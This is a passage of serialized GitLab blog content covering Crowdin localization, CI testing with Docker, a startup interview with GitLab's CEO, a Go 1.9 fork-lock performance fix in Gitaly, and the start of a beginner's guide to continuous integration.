repository\n\nFirst of all, log into [crowdin.com](https://crowdin.com/) (you can use your GitLab account for this as well), then create a localization project or integrate an existing one. In the Crowdin project settings, you will be able to set up this integration and define whether the translatable texts should be uploaded to Crowdin from the master branch or from the development branches.\n\nThen select the file path for translations, as once they are made in Crowdin, they will be automatically added to your GitLab repository in a merge request. Each time the automatic file sync is completed the merge request in GitLab will be updated with new translations, or a new merge request will be created if the previous one was already merged.\n\nThis allows you to review translations before merging them to master and receive up-to-date translations in a few minutes after they are made, as the file sync is completed automatically. Read more details on [how to set up the GitLab + Crowdin integration](https://support.crowdin.com/gitlab-integration/).\n\n\u003Cimg src=\"/images/blogimages/gitlab_crowdin_integration.png\" alt=\"GitLab Crowdin integration\" style=\"width: 700px;\"/>{: .shadow}\n\n*\u003Csmall>A view of the integration with GitLab in Crowdin during automated synchronization.\u003C/small>*\n\n\n### Work with Agile translators\n\nWhether you decide to translate your project with the help of in-house translators or a translation agency, they should be Agile so they can make translations of different scope at any time, not just one project at a time.\n\nCrowdin project notification settings allow you to notify translators and other project members every time new texts are added to the project. This way they’ll be able to start making translations once new texts are synchronized with a project in Crowdin. You in your turn will be able to keep an eye on their contributions and overall project activity using Crowdin project reports.\n\n\u003Cimg src=\"/images/blogimages/crowdin_project_reports.png\" alt=\"Crowdin project reports\" style=\"width: 700px;\"/>{: .shadow}\n\n*\u003Csmall>Use project reports in Crowdin to easily track the main activities such as translations and approvals.\u003C/small>*\n\n## Key points to remember about localization\n\n### Localization is a continuous process\n\nIf your product changes and evolves often you should keep the localized versions up to date as well. Each time you add some new functionality, scheduled update, or a small change, the new texts should be localized as well.\n\n### The product’s UI should be flexible\n\nMake sure to use responsive design, as the same phrase in different languages might take up more or less space than the primary language of your product.\n\n### Consistency is important\n\nCreating a style guide, glossary, and using a Translation Memory is a great idea if you want to speed up the translation process and receive consistent translations at the same time.\n\nCrowdin comes with a free 10-day trial and is free of charge for open source projects. [Give it a try!](https://crowdin.com/join)\n",[232],{"slug":34160,"featured":6,"template":678},"crowdin-localization-for-agile-projects","content:en-us:blog:crowdin-localization-for-agile-projects.yml","Crowdin Localization For Agile Projects","en-us/blog/crowdin-localization-for-agile-projects.yml","en-us/blog/crowdin-localization-for-agile-projects",{"_path":34166,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34167,"content":34173,"config":34179,"_id":34181,"_type":16,"title":34182,"_source":17,"_file":34183,"_stem":34184,"_extension":20},"/en-us/blog/test-all-the-things-gitlab-ci-docker-examples",{"title":34168,"description":34169,"ogTitle":34168,"ogDescription":34169,"noIndex":6,"ogImage":34170,"ogUrl":34171,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34171,"schema":34172},"Test all the things in GitLab CI with Docker by example","Running tests is easier than you think – guest author Gabriel Le Breton shares his presentation about testing everything automatically with GitLab CI/CD.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680261/Blog/Hero%20Images/test-all-the-things-in-gitlab-ci-with-docker-by-example.jpg","https://about.gitlab.com/blog/test-all-the-things-gitlab-ci-docker-examples","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Test all the things in GitLab CI with Docker by example\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gabriel Le Breton\"}],\n        \"datePublished\": \"2018-02-05\",\n      }",{"title":34168,"description":34169,"authors":34174,"heroImage":34170,"date":34176,"body":34177,"category":734,"tags":34178},[34175],"Gabriel Le Breton","2018-02-05","\n\nDo you write tests? Or do you skip them because it’s too complicated to run? Or maybe developers on your team just don’t care? You should take a few minutes and set up CI so you can enforce good practices. Good news, you can test [all the things](http://knowyourmeme.com/memes/all-the-things) automagically in [GitLab CI/CD](/solutions/continuous-integration/) with Docker and very little effort 🤘\n\n\u003C!-- more -->\n\nI recently gave a presentation at the [SagLacIO](http://saglac.io/) about [GitLab CI/CD](/solutions/continuous-integration/).\n\n## Getting started\n\nFirst, you’ll need an account at [GitLab.com](https://gitlab.com/). If you don’t already have one, you can open an account with no problem. [GitLab’s free tier](/stages-devops-lifecycle/) gives you a ton of features, unlimited free hosted repositories, 2,000 CI build minutes per month, etc. You can even use your own task runners in case you bust that limit.\n\n### Useful links\n\n- [GitLab.com](https://gitlab.com/)\n- [GitLab CI/CD documentation](https://docs.gitlab.com/ee/ci/) 📗\n- [.gitlab-ci.yml documentation](https://docs.gitlab.com/ee/ci/yaml/) 📕\n- [.gitlab-ci.yml linter: gitlab.com/ci/lint](https://gitlab.com/ci/lint/) ✅\n- [gitlab-ci nodejs example project](https://gitlab.com/gableroux/gitlab-ci-example-nodejs)\n- [gitlab-ci Docker example project](https://gitlab.com/gableroux/gitlab-ci-example-docker)\n- [gitlab-ci django example project](https://gitlab.com/gableroux/gitlab-ci-example-django)\n- [Unity3D Docker project](https://gitlab.com/gableroux/unity3d) running in gitlab-ci and published to [Docker Hub](https://hub.docker.com/r/gableroux/unity3d/)\n- [How to publish Docker images to Docker Hub from gitlab-ci on Stack Overflow](https://stackoverflow.com/questions/45517733/how-to-publish-docker-images-to-docker-hub-from-gitlab-ci)\n\n## Here go the slides\n\nScroll through the slides from my presentation on GitLab CI/CD at SagLacIO, you’ll have fun 🤘\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://docs.google.com/presentation/d/10835yig54EbR_OQcxSXURkPk_0zkhLxaWHdRdXb-yWw/embed?start=false&amp;loop=false&amp;delayms=3000\" frameborder=\"0\" width=\"1280\" height=\"749\" allowfullscreen=\"true\" mozallowfullscreen=\"true\" webkitallowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\nIf you have suggestions, feel free to poke me or [open an issue](https://github.com/GabLeRoux/gableroux.github.io/issues).\n\n *[Test all the things in GitLab CI with Docker by example](https://gableroux.com/saglacio/2018/01/16/test-all-the-things-in-gitlab-ci-with-docker-by-example/) was originally published on gableroux.com.*\n\n *Cover photo by [Federico Beccari](https://unsplash.com/photos/ahi73ZN5P0Y?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/)*\n {: .note}\n",[4772,110],{"slug":34180,"featured":6,"template":678},"test-all-the-things-gitlab-ci-docker-examples","content:en-us:blog:test-all-the-things-gitlab-ci-docker-examples.yml","Test All The Things Gitlab Ci Docker Examples","en-us/blog/test-all-the-things-gitlab-ci-docker-examples.yml","en-us/blog/test-all-the-things-gitlab-ci-docker-examples",{"_path":34186,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34187,"content":34193,"config":34200,"_id":34202,"_type":16,"title":34203,"_source":17,"_file":34204,"_stem":34205,"_extension":20},"/en-us/blog/pick-your-brain-interview-vincent-jong",{"title":34188,"description":34189,"ogTitle":34188,"ogDescription":34189,"noIndex":6,"ogImage":34190,"ogUrl":34191,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34191,"schema":34192},"Key decisions for building successful startups","Vincent Jong of SaaS.CEO sits down for a 'pick your brain' meeting with GitLab CEO Sid Sijbrandij.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680253/Blog/Hero%20Images/pick-your-brain-interview-thrive.jpg","https://about.gitlab.com/blog/pick-your-brain-interview-vincent-jong","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Saas.CEO and Sid Sijbrandij talk key decisions, influential connections, and strategic vision when building a startup\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vincent Jong\"}],\n        \"datePublished\": \"2018-01-26\",\n      }",{"title":34194,"description":34189,"authors":34195,"heroImage":34190,"date":34197,"body":34198,"category":6634,"tags":34199},"Saas.CEO and Sid Sijbrandij talk key decisions, influential connections, and strategic vision when building a startup",[34196],"Vincent Jong","2018-01-26","\n_GitLab CEO Sid Sijbrandij occasionally sits down for a \"[pick your brain](/handbook/eba/ceo-scheduling/#pick-your-brain-meetings)\"\nmeeting with people seeking advice on open source, remote work, or discussion of other things related to GitLab._\n\n\u003C!-- more -->\n\n**GitLab has become a leading provider in software development solutions, but it didn’t start out like that. Looking back, what were the one or two decisions that really made the company to the success it is today?**\n\nThe first one is the decision to build a company around it, because GitLab started as an open source project without a company. As such a project gets bigger, you will have to pay people to keep the quality high.\n\nAnother thing was my co-founder Dmitriy tweeting \"I want to work on GitLab full time,\" which led me to contact him and hire him, which was a great change.\n\nThis may be atypical advice on a SaaS CEO interview series, but one thing we did right was not to focus on SaaS. The demand for GitLab was coming from the self-managed side much more than from the SaaS side, so we decided to focus on that first.\n\nThe final one was the decision to apply to Y Combinator. This changed our ambition level from just running the project to being a market leader.\n\n**Would you say that your focus on the self-managed product also allowed you to focus on a different market segment than where players like GitHub were already capturing market share?**\n\nWhen we started, GitHub and Atlassian were already there in that market and it should have been locked up. But they left an opening in the self-managed market and at the bottom of the market.\n\nIn the beginning our software wasn’t very good, but we were able to rapidly make it better and grow upmarket. This is a great thing because I think today most of the revenue is coming from those large accounts.\n\nThe way I see it, source code management is one of the last things to leave self hosted for SaaS. Where this happened much earlier for CRM for example, I think source code for various reasons is transitioning later. We still see that for companies with more than 5,000 employees, 95 percent is still self hosted.\n\n**Alright. Looking at a more general perspective, what would you say you understand about building a (SaaS) company that is often overlooked or underestimated by other founders?**\n\nWhat we do differently is that we write things down. We’re a remote-only company of 200 people working from 200 locations. We try to work as asynchronously as we can and we write down what we do. The output of that is a [company handbook](/handbook/) with over 500 pages of our processes.\n\nFor a fast growing company, it is important that new people know the customs and values of the organization. Spending a lot of time to verbally communicate this is time consuming and dilutive, because you are never going to be able to tell person 100 as well as you’ve told the first. However, when you write it down, which is very painful in itself, person 100 will have an even more detailed version than person 1. So it gets better over time.\n\n**Then let’s talk about the people you’ve worked with. For startups, connecting with the right people can be a game-changer. One person can provide a connection that changes everything. If you look at people who are not employed at GitLab – which person provided essential additional value and how did you get in touch with this person?**\n\nJoining Y Combinator has been essential for us. It opened up lots of doors that would otherwise have been closed. For example, the seed round of investors we have with people like Ashton Kutcher and Michael Arrington. I don’t think they would have even looked at us if it wasn’t for Y Combinator.\n\nThen your board members are just very important. We got lucky with our first board member, Bruce Armstrong, operating partner at Khosla Ventures, who was very thoughtful with us and very hardworking in helping us every step along the way. That felt very empowering and it’s not always the case with venture capitalists, so that was awesome.\n\nSometimes it’s just reaching out. Like Matt Mullenweg who joined our board. He is the CEO of Automattic, the makers of WordPress. I just sent him an email saying “Hey, can we talk?” If you show you’ve done your homework, like mentioning why you want to talk and reference a blog post or something they tweeted, people are more likely to respond.\n\n**One of the things we do at [SaaS.CEO](https://www.saas.ceo/) is ask our audience beforehand if they have any questions for the CEO who is being interviewed. This time two questions came up. The first is coming from Michael Kamleiter, CEO of Swat.io and Walls.io. He asks \"How do you go about positioning towards other players like GitHub, especially when you were still a smaller company?\"**\n\nI don’t think we’ve figured it out yet. Where our competition was sometimes more focused on the needs of open source projects, we focused on those large customers and their requirements. For example, our competition has two levels of authorization and we have five, because our customers need more granularity.\n\nPositioning to me is mostly marketing and I think we have lagged in that regard. Actually, the last two days I have been in a workshop to figure out our positioning. What we’re going to do is articulate that GitLab is an end-to-end tool. Where all the other applications are about assembling a toolchain and orchestrating that toolchain, we want to be \"toolless.\"\n\nIf you have a toolchain, you end up having all these handoffs that create delays from working in serial. We want people with GitLab to be able to work in parallel. I think that will be a big enabler of our future growth. But it’s a really hard thing to determine, to get everybody aligned on, and then to roll it out on all your channels, from product to sales to marketing.\n\n**The second question we received is from Florian Dorfbauer, CEO of Usersnap. His question is: \"With the latest investment round, you've also revealed the bigger vision of GitLab: providing a complete DevOps experience. How much time do you spend on strategic vision building and what does the process look like to work on such strategies?\"**\n\nI consider myself a Product CEO and spend most of my time on our product. The way I spend time on this is first of all by talking with customers. My call before this was with a potential customer, to answer their questions. It’s great to be able to talk directly with customers.\n\nI also keep an eye on our issue tracker and [Hacker News](https://news.ycombinator.com/), which are important channels for me. Apart from that I work a lot with our product managers where we try to get the best out of each other.\n\nIt’s all driven by what you know about where the market is – what are the trends, what are the analysts saying, what are customers saying, what are users saying. All these things come together and you reflect on it with each other and choose a direction.\n\n**By sharing your experiences, you have given valuable input other to SaaS CEOs out there. Therefore, I want to give you the opportunity to ask something in return. Is there something our listeners can do for you?**\n\nI think it would be great that those who read this reach out to you to be interviewed so you will have more content and we can make this a bigger thing. Then when this becomes a famous podcast I can claim to be the first one ever to be interviewed.\n\nSecondly, I would like to take the opportunity to say that GitLab.com is becoming a great product now, so I hope that in 2018 people will give it a shot and try it out.\n\n**Sid, thank so much for sharing your insights. I’m very happy to have had you as our first interviewed CEO and we do hope many of the readers and listeners will follow your request.**\n\n### About the guest author\n\nVincent is a Dutch serial entrepreneur excited about advanced technology and Software as a Service solutions. While building his company, he noticed how many founders are trying to get in touch with the same people: CEOs who have already walked the path they are going. Facing the same challenge, he founded [SaaS.CEO](https://www.saas.ceo/), a platform to make successful SaaS founders more accessible. His own company [Thrive for Email](http://www.thrive.email/) is an AI-driven sales automation solution that helps sales reps increase their capacity by automatically entering all data into the CRM.\n\n[Cover image](https://unsplash.com/photos/kRnkqSKZODQ) by [Federico Beccari](https://unsplash.com/@federize) on Unsplash\n{: .note}\n",[3949,10921],{"slug":34201,"featured":6,"template":678},"pick-your-brain-interview-vincent-jong","content:en-us:blog:pick-your-brain-interview-vincent-jong.yml","Pick Your Brain Interview Vincent Jong","en-us/blog/pick-your-brain-interview-vincent-jong.yml","en-us/blog/pick-your-brain-interview-vincent-jong",{"_path":34207,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34208,"content":34213,"config":34218,"_id":34220,"_type":16,"title":34221,"_source":17,"_file":34222,"_stem":34223,"_extension":20},"/en-us/blog/how-a-fix-in-go-19-sped-up-our-gitaly-service-by-30x",{"title":34209,"description":34210,"ogTitle":34209,"ogDescription":34210,"noIndex":6,"ogImage":11919,"ogUrl":34211,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34211,"schema":34212},"How a fix in Go 1.9 sped up our Gitaly service by 30x","After noticing a worrying pattern in Gitaly's performance, we uncovered an issue with fork locking affecting virtual memory size. Here's how we figured out the problem and how to fix it.","https://about.gitlab.com/blog/how-a-fix-in-go-19-sped-up-our-gitaly-service-by-30x","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How a fix in Go 1.9 sped up our Gitaly service by 30x\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Andrew Newdigate\"}],\n        \"datePublished\": \"2018-01-23\",\n      }",{"title":34209,"description":34210,"authors":34214,"heroImage":11919,"date":34215,"body":34216,"category":734,"tags":34217},[9050],"2018-01-23","\n\n[Gitaly](https://gitlab.com/gitlab-org/gitaly) is a Git RPC service that we are currently rolling out\nacross GitLab.com, to replace our legacy NFS-based file-sharing solution. We expect it to be faster, more stable\nand the basis for amazing new features in the future.\n\nWe're still in the process of porting Git operations to Gitaly, but the service has been\nrunning in production on GitLab.com for about nine months, and currently peaks at about 1,000\n[gRPC](https://grpc.io/) requests per second. We expect the migration effort to be completed\nby the beginning of April at which point all Git operations in the GitLab application will\nuse the service and we'll be able to decommission NFS infrastructure.\n\n\u003C!-- more -->\n\n## Worrying performance improvements\n\nThe first time we realized that something might be wrong was shortly after we'd finished deploying a new release.\n\nWe were monitoring the performance of one of the gRPC endpoints for the Gitaly service and noticed that the\n99th percentile performance of the endpoint had dropped from 400ms down to 100ms.\n\n![400ms to 100ms latency drop](https://about.gitlab.com/images/blogimages/how-a-fix-in-go-19-sped-up-our-gitaly-service-by-30x/graph-01.png){: .shadow.center}\nLatencies drop from 400ms to 100ms after a deploy, for no good reason\n{: .note .text-center}\n\nThis should have been fantastic news, but it wasn't. There were no changes that should have led to faster\nresponse times. We hadn't optimized anything in that release; we hadn't changed the runtime and the new\nrelease was using the same version of Git.\n\nEverything _should have_ been exactly the same.\n\nWe started digging into the data a little more and quickly realised that 400ms is a very high latency for\nan operation that simply confirms the existence of a [Git reference](https://git-scm.com/book/en/v2/Git-Internals-Git-References).\n\nHow long had it been this way? Well it started about 24 hours after the previous deployment.\n\n![100ms to 400ms latency hike](https://about.gitlab.com/images/blogimages/how-a-fix-in-go-19-sped-up-our-gitaly-service-by-30x/graph-02.png){: .shadow.center}\nLatencies rising over a 24 hour period following a deployment, for no good reason\n{: .note .text-center}\n\nWhen browsing our Prometheus performance data, it quickly became apparent that this pattern was being repeated with each\ndeployment: things would start fast and gradually slow down. This was occurring across all endpoints. It had been this way for a while.\n\nThe first assumption was that there was some sort of resource leak in the application, causing the host to slow\ndown over time. Unfortunately the data didn't back this up. CPU usage of the Gitaly service did increase, but the\nhosts still had lots of capacity.\n\n![Gitaly CPU charts](https://about.gitlab.com/images/blogimages/how-a-fix-in-go-19-sped-up-our-gitaly-service-by-30x/graph-03.png){: .shadow.center}\nGitaly CPU increasing with process age, but not enough to explain the problem\n{: .note .text-center}\n\nAt this point, we still didn't have any good leads as to the cause of the problem, so we decided to further\nimprove the observability of the application by adding [pprof profiling support](https://golang.org/pkg/net/http/pprof/)\nand [cAdvisor](https://github.com/google/cadvisor) metrics.\n\n## Profiling\n\nAdding pprof support to a Go process is [very easy](https://gitlab.com/gitlab-org/gitaly/merge_requests/442).\nThe process already has a Prometheus listener and we added a pprof handler on the same listener.\n\nSince production teams would need to be able to perform the profiling without our assistance, we\nalso [added a runbook](https://gitlab.com/gitlab-com/runbooks/blob/master/howto/gitaly-profiling.md).\n\nGo's pprof support is easy to use and in our testing, we found that the overhead it\nadded to production workloads was negligible, meaning we could use it in production without concern\nabout the impact it would have on site performance.\n\n## cAdvisor\n\nThe Gitaly service spawns Git child processes for many of its endpoints. Unfortunately these Git\nchild processes don't have the same instrumentation as the parent process so it was\ndifficult to tell if they were contributing to the problem. (Note: we record [`getrlimit(2)`](http://man7.org/linux/man-pages/man2/getrlimit.2.html) metrics for Git processes but cannot observe grandchild processes spawned by Git, which often do much of the heavy lifting)\n\nOn GitLab.com, Gitaly is managed through systemd, which will automatically create a cgroup for\neach service it manages.\n\nThis means that Gitaly and its child processes are contained within a single cgroup, which we\ncould monitor with [cAdvisor](https://github.com/google/cadvisor), a Google monitoring tool\nwhich supports cgroups and is compatible with Prometheus.\n\nAlthough we didn't have direct metrics to determine the behavior of the Git processes, we could\ninfer it using the cgroup metrics and the Gitaly process metrics: the difference between the\ntwo would tell us the resources (CPU, memory, etc) being consumed by the Git child processes.\n\nAt our request, the production team [added cAdvisor to the Gitaly servers](https://gitlab.com/gitlab-com/infrastructure/issues/3307).\n\nHaving cAdvisor gives us the ability to know what the Gitaly service, including all its child\nprocesses, is doing.\n\n![cAdvisor graphs for the Gitaly cgroup](https://about.gitlab.com/images/blogimages/how-a-fix-in-go-19-sped-up-our-gitaly-service-by-30x/graph-04.png){: .shadow.center}\ncAdvisor graphs of the Gitaly cgroup\n{: .note .text-center}\n\n## From bad to worse. Much, much worse...\n\nIn the meantime, **[the situation had got far worse](https://gitlab.com/gitlab-org/gitaly/issues/823)**.\n Instead of only seeing gradual latency increases over time, we were now seeing far more serious lockups.\n\nIndividual Gitaly server instances would grind to a halt, to the point where all new incoming TCP connections\nwere not being accepted. This proved to be a problem to using pprof: during the lockup the connection\nwould time out when attempting to profile the process. Since the reason we added pprof was to observe the\nprocess under duress, that approach was a bust.\n\nInterestingly, during a lock-up, CPU would actually decrease – the system was not overloaded, but actually\n _idled_. Iops, iowait and CPU would all drop way down.\n\nEventually, after a few minutes the service would recover and there would be a surge in backlogged\nrequests. Usually though, as soon as the state was detected, the production team would restart the\nservice manually.\n\nThe team spent a significant amount of time trying to recreate the problem locally, with little success.\n\n## Forking locks\n\nWithout pprof, we fell back to [SIGABRT thread dumps](http://pro-tips-dot-com.tumblr.com/post/47677612115/kill-a-hung-go-process-and-print-stack-traces)\nof hung processes. Using these, we determined that the process had a large amount of contention around [`syscall.ForkLock`](https://gitlab.com/gitlab-org/gitaly/issues/823#note_50951140)\nduring the lockups. In one dump, 1,400 goroutines were blocked waiting on `ForkLock` – most for several minutes.\n\n`syscall.ForkLock` has [the following documentation](https://github.com/golang/go/blob/release-branch.go1.8/src/syscall/exec_unix.go#L17):\n\n> Lock synchronizing creation of new file descriptors with fork.\n\nEach Gitaly server instance was `fork/exec`'ing Git processes about 20 times per second so we seemed to finally have a very promising lead.\n\n## Serendipity\n\n[Researching ForkLock](https://gitlab.com/gitlab-com/www-gitlab-com/merge_requests/9365#note_54342481) led us to an issue on the Go repository,\nopened in 2013, about switching from `fork/exec` to [`clone(2)`](https://man7.org/linux/man-pages/man2/clone.2.html) with `CLONE_VFORK` and `CLONE_VM`\non systems that support it: [golang/go#5838](https://github.com/golang/go/issues/5838)\n\nThe `clone(2)` syscall with `CLONE_VFORK` and `CLONE_VM` is the same as\nthe [`posix_spawn(3)`](http://man7.org/linux/man-pages/man3/posix_spawn.3.html) c function, but the latter is easier to\nrefer to, so let's use that.\n\nWhen using `fork`, the child process will start with a copy of the parent processes' memory.\nUnfortunately this process takes longer the larger the virtual memory footprint the process has.\nEven with copy-on-write, it can take several hundred milliseconds in a memory-intensive process.\n`posix_spawn` doesn't copy the parent processes' memory space and has a roughly constant time.\n\nSome good benchmarks of `fork/exec` vs. `posix_spawn` can be found here: [https://github.com/rtomayko/posix-spawn#benchmarks](https://github.com/rtomayko/posix-spawn#benchmarks)\n\nThis seemed like a possible explanation. Over time, the virtual memory size (VMM) of the Gitaly process would increase. As VMM\nincreased, each [`fork(2)`](http://man7.org/linux/man-pages/man2/fork.2.html) syscall would take longer. As fork latency increased, `syscall.ForkLock` contention would increase.\nIf `fork` time exceeded the frequency of `fork` requests, the system could temporarily lock up entirely.\n\n(Interestingly, [`TCPListener.Accept`](https://golang.org/pkg/net/#TCPListener.Accept)\n[also interacts](https://github.com/golang/go/blob/2ea7d3461bb41d0ae12b56ee52d43314bcdb97f9/src/net/sock_cloexec.go#L20) with `syscall.ForkLock`,\nalthough only on older versions of Linux. Could this be the cause of our failure to connect to the pprof listener during a lockup?)\n\nBy some incredibly good luck, [golang/go#5838](https://github.com/golang/go/issues/5838), the switch from `fork` to `posix_spawn`, had,\nafter several years' delay, recently landed in Go 1.9, just in time for us. Gitaly had been compiled with Go 1.8.\n We quickly built and tested a new binary with Go 1.9 and manually deployed this\non one of our production servers.\n\n### Spectacular results\n\nHere's the CPU usage of Gitaly processes across the fleet:\n\n![CPU after Go 1.9](https://about.gitlab.com/images/blogimages/how-a-fix-in-go-19-sped-up-our-gitaly-service-by-30x/graph-05.png){: .shadow.center}\nCPU after recompiling with Go 1.9\n{: .note .text-center}\n\nHere's the 99th percentile latency figures. This chart is using a logarithmic scale, so we're talking about two orders of\nmagnitude faster!\n\n![30x latency drops with Go 1.9](https://about.gitlab.com/images/blogimages/how-a-fix-in-go-19-sped-up-our-gitaly-service-by-30x/graph-06.png){: .shadow.center}\nEndpoint latency after recompiling with Go 1.9 (log scale)\n{: .note .text-center}\n\n## Conclusion\n\nRecompiling with Go 1.9 solved the problem, thanks to the switch to `posix_spawn`. We learned several other lessons\nin the process too:\n\n1. Having solid application monitoring in place allowed us to detect this issue, and start investigating it, far\n   earlier than we otherwise would have been able to.\n1. [pprof](https://blog.golang.org/profiling-go-programs) can be really helpful, but may not help when a process\n   has locked up and won't accept new connections. pprof is lightweight enough that you should consider adding it to your application _before_ you need it.\n1. When all else fails, [`SIGABRT thread dumps`](http://pro-tips-dot-com.tumblr.com/post/47677612115/kill-a-hung-go-process-and-print-stack-traces) might help.\n1. [`cAdvisor`](https://github.com/google/cadvisor) is great for monitoring cgroups. Systemd services each run in\n   their own cgroup, so `cAdvisor` is an easy way of monitoring a service and all its child processes, together.\n\n[Photo](https://unsplash.com/photos/jJbQBP_yh68?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) by Javier García on [Unsplash](https://unsplash.com/search/photos/slow?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[676,1268],{"slug":34219,"featured":6,"template":678},"how-a-fix-in-go-19-sped-up-our-gitaly-service-by-30x","content:en-us:blog:how-a-fix-in-go-19-sped-up-our-gitaly-service-by-30x.yml","How A Fix In Go 19 Sped Up Our Gitaly Service By 30x","en-us/blog/how-a-fix-in-go-19-sped-up-our-gitaly-service-by-30x.yml","en-us/blog/how-a-fix-in-go-19-sped-up-our-gitaly-service-by-30x",{"_path":34225,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34226,"content":34232,"config":34238,"_id":34240,"_type":16,"title":34241,"_source":17,"_file":34242,"_stem":34243,"_extension":20},"/en-us/blog/a-beginners-guide-to-continuous-integration",{"title":34227,"description":34228,"ogTitle":34227,"ogDescription":34228,"noIndex":6,"ogImage":34229,"ogUrl":34230,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34230,"schema":34231},"A beginner's guide to continuous integration","Here's how to help everyone on your team, like designers and testers, get started with GitLab CI.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679800/Blog/Hero%20Images/beginners-guide-to-ci.jpg","https://about.gitlab.com/blog/a-beginners-guide-to-continuous-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A beginner's guide to continuous integration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Riccardo Padovani\"}],\n        \"datePublished\": \"2018-01-22\",\n      }",{"title":34227,"description":34228,"authors":34233,"heroImage":34229,"date":34235,"body":34236,"category":734,"tags":34237},[34234],"Riccardo Padovani","2018-01-22","\n\nAt [fleetster](https://www.fleetster.net/) we have our own instance of GitLab and we rely a lot on [GitLab CI/CD](/topics/ci-cd/). Also our designers and QA guys use (and love) it, thanks to its advanced features.\n\n\u003C!-- more -->\n\nGitLab CI/CD is a very powerful system of [continuous integration (CI)](/solutions/continuous-integration/), with a lot of different features, and with every new release, new features land. It has very rich [technical documentation](https://docs.gitlab.com/ee/ci/), but it lacks a generic introduction for people who want to use it in an existing setup. A designer or a tester doesn’t need to know how to autoscale it with [Kubernetes](/blog/how-to-create-ci-cd-pipeline-with-autodeploy-to-kubernetes-using-gitlab-and-helm/) or the difference between an image or a service.\n\nBut still, they need to [know what a pipeline is](/topics/ci-cd/cicd-pipeline/), and how to see a branch deployed to an environment. In this article therefore I will try to cover as many features as possible, highlighting how the end users can enjoy them; in the last months I explained such features to some members of our team, also developers: not everyone knows what continuous integration is or has used Gitlab CI/CD in a previous job.\n\nIf you want to know why continuous integration is important I suggest reading [this article](/blog/7-reasons-why-you-should-be-using-ci/), while for finding the reasons for using Gitlab CI/CD specifically, I leave the job to [GitLab](/solutions/continuous-integration/) itself.\n\n## Introduction\n\nEvery time developers change some code they save their changes in a commit. They can then push that commit to GitLab, so other developers can review the code.\n\nGitLab will also start some work on that commit, if GitLab CI/CD has been configured. This work is executed by a runner. A runner is basically a server (it can be a lot of different things, also your PC, but we can simplify it as a server) that executes instructions listed in the `.gitlab-ci.yml` file, and reports the result back to GitLab itself, which will show it in his graphical interface.\n\nWhen developers have finished implementing a new feature or a bugfix (activity that usual requires multiple commits), they can open a merge request, where other members of the team can comment on the code and on the implementation.\n\nAs we will see, designers and testers can also (and really should!) join this process, giving feedback and suggesting improvements, especially thanks to two features of GitLab CI: environments and artifacts.\n\n## CI/CD pipelines\n\nEvery commit that is pushed to GitLab generates a pipeline attached to that commit. If multiple commits are pushed together the pipeline will be created for the last one only. A pipeline is a collection of jobs split in different stages.\n\nAll the jobs in the same stage run concurrently (if there are enough runners) and the next stage begins only if all the jobs from the previous stage have finished with success.\n\nAs soon as a job fails, the entire pipeline fails. There is an exception for this, as we will see below: if a job is marked as manual, then a failure will not make the pipeline fail.\n\nThe stages are just a logical division between batches of jobs, where it doesn’t make sense to execute the next job if the previous failed. We can have a `build` stage, where all the jobs to build the application are executed, and a `deploy` stage, where the build application is deployed. Doesn’t make much sense to deploy something that failed to build, does it?\n\nEvery job shouldn’t have any dependency with any other job in the same stage, while they can expect results by jobs from a previous stage.\n\nLet’s see how GitLab shows information about stages and stages’ status.\n\n\u003Cimg src=\"/images/blogimages/pipeline-overview.png\" alt=\"Pipeline overview\" style=\"width: 700px;\"/>{: .shadow}\n\n\u003Cimg src=\"/images/blogimages/pipeline-status.png\" alt=\"Pipeline status\" style=\"width: 700px;\"/>{: .shadow}\n\n## What is a CI job?\n\nA job is a collection of instructions that a runner has to execute. You can see in real time what the output of the job is, so developers can understand why a job fails.\n\nA job can be automatic, so it starts automatically when a commit is pushed, or manual. A manual job has to be triggered by someone manually. This can be useful, for example, to automate a deploy, but still to deploy only when someone manually approves it. There is a way to limit who can run a job, so only trustworthy people can deploy, to continue the example before.\n\nA job can also build artifacts that users can download, like it creates an APK you can download and test on your device; in this way both designers and testers can download an application and test it without having to ask for help to developers.\n\nOther than creating artifacts, a job can deploy an environment, usually reachable by an URL, where users can test the commit.\n\nJob status are the same as stages status: indeed stages inherit theirs status from the jobs.\n\n\u003Cimg src=\"/images/blogimages/running-job.png\" alt=\"Running job\" style=\"width: 700px;\"/>{: .shadow}\n\n## Artifacts\n\nAs we said, a job can create an artifact that users can download to test. It can be anything, like an application for Windows, an image generated by a PC, or an APK for Android.\n\nSo you are a designer, and the merge request has been assigned to you: you need to validate the implementation of the new design!\n\nBut how to do that?\n\nYou need to open the merge request, and download the artifact, as shown in the figure.\n\nEvery pipeline collects all the artifacts from all the jobs, and every job can have multiple artifacts. When you click on the download button, a dropdown will appear where you can select which artifact you want. After the review, you can leave a comment on the MR.\n\nYou can also always download the artifacts from pipelines that do not have a merge request open ;-)\n\nI am focusing on merge requests because usually that is where testers, designers, and shareholders in general enter the workflow.\n\nBut merge requests are not linked to pipelines: while they integrate nicely with one another, they do not have any relation.\n\n\u003Cimg src=\"/images/blogimages/download-artifacts.png\" 